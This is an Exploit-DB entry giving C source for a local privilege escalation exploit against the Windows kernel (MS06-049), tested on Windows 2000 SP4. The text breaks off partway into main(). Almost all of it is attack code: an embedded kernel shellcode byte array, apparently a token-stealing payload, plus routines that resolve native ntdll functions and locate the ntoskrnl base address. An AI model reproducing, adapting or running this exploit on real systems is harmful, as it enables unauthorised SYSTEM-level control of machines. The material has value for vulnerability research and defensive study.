Exploit-DB #2412
Description: Microsoft Windows Kernel - Local Privilege Escalation (MS06-049)
Type: local
Platform: windows
Date: 2006-09-21
Author: SoBeIt

Exploit:
/*
    MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit
            Created by SoBeIt

    Main file of exploit

    Tested on:

    Windows 2000 PRO SP4 Chinese
    Windows 2000 PRO SP4 Rollup 1 Chinese
    Windows 2000 PRO SP4 English
    Windows 2000 PRO SP4 Rollup 1 English

    Usage:ms06-049.exe
*/

#include <windows.h>
#include <stdio.h>

#define NTSTATUS    int
#define ProcessBasicInformation    0
#define SystemModuleInformation 11
    
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWVDMCONTROL    ZwVdmControl;
ZWQUERYINFORMATIONPROCESS    ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

typedef struct _PROCESS_BASIC_INFORMATION {
      NTSTATUS ExitStatus;
      PVOID PebBaseAddress;
      ULONG AffinityMask;
      ULONG BasePriority;
      ULONG UniqueProcessId;
      ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknow;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    char ImageName[256];    
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

unsigned char kfunctions[64][64] = 
{
                            //ntoskrnl.exe
    {"ZwTerminateProcess"},
    {""},
};

unsigned char shellcode[] = 
        "\x90\x60\x9c\xe9\xd1\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f"
        "\x90\xcc\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7"
        "\x04\xbe\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90"
        "\x00\x75\xf7\x95\x8b\xf7\x6a\x01\x59\xe8\x56\x00\x00\x00\xe2\xf9"
        "\xbb\x24\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8"
        "\x2c\x00\x00\x00\x8b\xd0\x8b\x4e\x04\xe8\x22\x00\x00\x00\x8b\x8a"
        "\x2c\x01\x00\x00\x89\x88\x2c\x01\x00\x00\x56\x8b\x7e\x0c\x8b\x4e"
        "\x10\x8b\x76\x08\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3"
        "\x8b\x80\xa0\x00\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00"
        "\x00\x75\xed\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56"
        "\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe"
        "\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75"
        "\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd"
        "\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x2a\xff\xff\xff\x90\x90"

        "\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";

void ErrorQuit(char *msg)
{
    printf("%s:%x\n", msg, GetLastError());
    ExitProcess(0);
}

ULONG ComputeHash(char *ch)
{
    ULONG ret = 0;

    while(*ch)
    {
        ret = ((ret << 25) | (ret >> 7)) + *ch++;
    }

    return ret;
}

ULONG RVA2Offset(ULONG RVA, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{    
    ULONG i;
    
    if(RVA < pSectionHeader[0].PointerToRawData)
        return RVA;

    for(i = 0; i < Sections; i++)
    {   
        if(RVA >= pSectionHeader[i].VirtualAddress &&
           RVA < pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData)           
           return (RVA - pSectionHeader[i].VirtualAddress + pSectionHeader[i].PointerToRawData);
    }
    
    return 0;
}

ULONG Offset2RVA(ULONG Offset, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{   
    ULONG i;
    
    if(Offset < pSectionHeader[0].PointerToRawData)
        return Offset;
    
    for(i = 0; i < Sections; i++)
    {
        if(Offset >= pSectionHeader[i].PointerToRawData &&
           Offset < pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData)
           return (Offset - pSectionHeader[i].PointerToRawData + pSectionHeader[i].VirtualAddress);
    }
    
    return 0;
}

void GetFunction()
{
    HANDLE    hNtdll;
    
    hNtdll = LoadLibrary("ntdll.dll");
    if(hNtdll == NULL)
        ErrorQuit("LoadLibrary failed.\n");
        
    ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
    if(ZwVdmControl == NULL)
        ErrorQuit("GetProcAddress failed.\n");
        
    ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
    if(ZwQueryInformationProcess == NULL)
        ErrorQuit("GetProcAddress failed.\n");
        
    ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
    if(ZwQuerySystemInformation == NULL)
        ErrorQuit("GetProcessAddress failed.\n");
        
    FreeLibrary(hNtdll);
}

ULONG GetKernelBase()
{
    ULONG    i, Byte, ModuleCount;
    PVOID    pBuffer;
    PSYSTEM_MODULE_INFORMATION    pSystemModuleInformation;
    PCHAR    pName;
    
    ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
        
    if((pBuffer = malloc(Byte)) == NULL)
        ErrorQuit("malloc failed.\n");
        
    if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
        ErrorQuit("ZwQuerySystemInformation failed\n");
    
    ModuleCount = *(PULONG)pBuffer;
    pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
    for(i = 0; i < ModuleCount; i++)
    {
        if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
        {
            free(pBuffer);    
            return (ULONG)pSystemModuleInformation->Base;
        }
        
        pSystemModuleInformation++;
    }
        
    free(pBuffer);
    return 0;
}

int main(int argc, char *argv[])
{
    PULONG    pStoreBuffer, pNames